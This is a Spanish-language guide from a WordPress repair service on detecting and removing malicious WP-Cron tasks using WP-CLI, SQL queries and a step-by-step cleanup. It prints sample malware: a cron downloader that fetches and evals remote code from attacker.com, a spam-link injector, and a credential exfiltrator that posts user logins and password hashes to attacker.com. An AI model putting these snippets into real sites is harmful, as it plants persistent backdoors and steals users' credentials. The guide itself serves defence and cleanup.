Logo
WP Fix by Blimx

Tareas Cron Maliciosas en WordPress — Cazar y Matar

Actualizado:
SecurityMalware

Por qué los atacantes aman WP-Cron

WordPress tiene su propio sistema pseudo-cron: cada vez que alguien visita tu sitio, WordPress revisa si alguna tarea programada está vencida y la ejecuta. Los atacantes aman esto porque:

  1. No se necesita interacción de usuario — cada visitante dispara el malware sin saberlo
  2. Corre como el usuario del servidor web — tiene acceso de escritura al filesystem
  3. Oculto a los admins — la mayoría de admins nunca mira la lista de cron
  4. Persistencia fácil — incluso si limpias archivos, el cron re-crea el backdoor

Este artículo es el playbook para encontrar y matar entradas WP-Cron maliciosas.

Cómo se ve una entrada cron maliciosa

Una entrada cron normal de WordPress:

hourly:    wp_version_check
hourly:    wp_update_plugins  
hourly:    wp_update_themes
twicedaily: wp_scheduled_delete
daily:     wp_scheduled_auto_draft_delete

Una maliciosa usualmente:

  • Tiene un nombre genérico como wp_remote_get, wp_initial_check, wp_validate
  • Corre en un intervalo inusual como 5min o 15min
  • Está registrada por un archivo que no reconoces
  • Dispara una función cuyo código incluye eval, base64_decode o llamadas HTTP a dominios sospechosos

Detección con WP-CLI

WP-CLI lo hace fácil:

cd /var/www/yoursite

# Lista todos los eventos programados
wp cron event list

# Busca nombres de hook inusuales
wp cron event list --field=hook | sort -u

Cruza los nombres de hooks contra el código fuente. Para cada hook sospechoso, encuentra qué archivo lo registra:

grep -rE "add_action\s*\(\s*['"]suspicious_hook_name['"]" wp-content/

Si el archivo que registra es un plugin conocido, el hook es legítimo. Si es un archivo PHP aleatorio en mu-plugins/ o un archivo en uploads/, es malicioso.

Detección vía la base de datos

Si WP-CLI no está disponible, consulta los datos cron directamente:

SELECT option_value FROM wp_options WHERE option_name = 'cron';

El resultado es un array PHP serializado. Para hacerlo legible:

wp option get cron --format=json | python3 -m json.tool

Busca: - Nombres de hook que no coinciden con nada legítimo - Intervalos de schedule no en tu config normal de cron - Entradas con timestamps lejos en el futuro (el malware se programa para más tarde)

Patrones comunes de cron malicioso

Patrones que hemos visto en 2025-2026:

Patrón 1 — Downloader auto-replicante

// Oculto en mu-plugins/wp-update.php
add_action('init', function() {
    if (!wp_next_scheduled('wp_remote_update_check')) {
        wp_schedule_event(time(), 'hourly', 'wp_remote_update_check');
    }
});
add_action('wp_remote_update_check', function() {
    $code = @file_get_contents('http://attacker.com/payload.php');
    eval(base64_decode($code));
});

Este cron busca código de payload nuevo cada hora de un servidor remoto. Incluso si limpias el malware, el cron lo re-descarga.

Patrón 2 — Inyector SEO de base de datos

add_action('wp_seo_inject', function() {
    global $wpdb;
    $wpdb->query("UPDATE wp_posts SET post_content = CONCAT(post_content, '<hidden viagra links>') WHERE ID = (SELECT id FROM (SELECT id FROM wp_posts ORDER BY RAND() LIMIT 1) p)");
});

Añade enlaces spam a un post aleatorio cada 5 minutos. Incluso si limpias todos los posts, más se contaminan.

Patrón 3 — Exfiltrador de credenciales

add_action('wp_users_check', function() {
    global $wpdb;
    $users = $wpdb->get_results("SELECT user_login, user_pass, user_email FROM wp_users");
    wp_remote_post('http://attacker.com/collect.php', ['body' => serialize($users)]);
});

Envía datos de usuarios al atacante diariamente. Las credenciales están hasheadas pero aún útiles para credential stuffing.

Procedimiento de eliminación

Paso 1 — Deshabilita WP-Cron temporalmente

En wp-config.php:

define('DISABLE_WP_CRON', true);

Esto previene que el cron malicioso dispare mientras investigas.

Paso 2 — Identifica los hooks maliciosos

wp cron event list --format=table

Anota todos los hooks que no coinciden con plugins conocidos.

Paso 3 — Des-programa los hooks maliciosos

wp cron event delete <hook_name>
# repite para cada hook malicioso

Paso 4 — Encuentra y borra el código que registra

# Para cada hook sospechoso, encuentra qué lo registra
grep -rE "add_action\s*\(\s*['"]<hook>['"]" wp-content/

Borra esos archivos. Si un archivo está en wp-content/mu-plugins/, borrarlo remueve el registro.

Paso 5 — Limpia la tabla cron

DELETE FROM wp_options WHERE option_name = 'cron';

Esto borra todo el schedule cron. WordPress regenerará sus propias entradas legítimas en la siguiente page load.

Paso 6 — Re-habilita cron

Remueve o cambia DISABLE_WP_CRON a false en wp-config.php.

Paso 7 — Verifica que cron normal se repuebla

wp cron event list --format=table

Deberías ver solo hooks legítimos (wp_version_check, wp_update_plugins, etc.). Si uno malicioso reaparece, te perdiste un archivo de registro.

Por qué el cron del servidor es mejor que WP-Cron

El pseudo-cron de WordPress tiene problemas de seguridad y confiabilidad. Mejor práctica:

Deshabilita WP-Cron

// wp-config.php
define('DISABLE_WP_CRON', true);

Añade una entrada cron real

crontab -e
# Añade:
*/5 * * * * cd /var/www/yoursite && wp cron event run --due-now > /dev/null 2>&1

Esto corre WP-Cron desde un scheduler a nivel servidor cada 5 minutos. Beneficios:

  • Timing de ejecución predecible
  • No depende de tráfico de visitantes
  • Logueado centralmente con otros cron jobs del sistema
  • Más fácil de monitorear

Para entradas cron maliciosas que se registraron a sí mismas, el cron del servidor solo no arregla el problema — aún necesitas borrar el registro. Pero hace el sistema más difícil de abusar yendo hacia adelante.

Prevención

Tras la limpieza:

  • Audita wp cron event list semanalmente
  • Monitoreo de integridad de archivos en wp-content/mu-plugins/
  • Reglas WAF para bloquear intentos de exploit conocidos
  • Actualizaciones de plugins dentro de 7 días de release de seguridad
  • Suscripción Patchstack para alertas tempranas de CVE

Errores comunes durante limpieza de cron

  • Solo borrar el archivo — sin des-programar el hook, la tabla cron aún tiene la entrada
  • Solo borrar la entrada cron — sin remover el archivo, el registro re-crea la entrada
  • Confiar en el output de "wp cron event list" — algún malware se esconde de WP-CLI; consulta la base de datos directamente

Cuándo llamar a un especialista

Las entradas cron maliciosas usualmente indican una infección más profunda. El cron es un mecanismo de persistencia para malware que vive en otro lugar. No solo removemos el cron — rastreamos la infección de vuelta al vector de entrada y la cerramos.

Limpieza de cron malicioso en horas. Para malware más amplio ve reparación de sitio hackeado.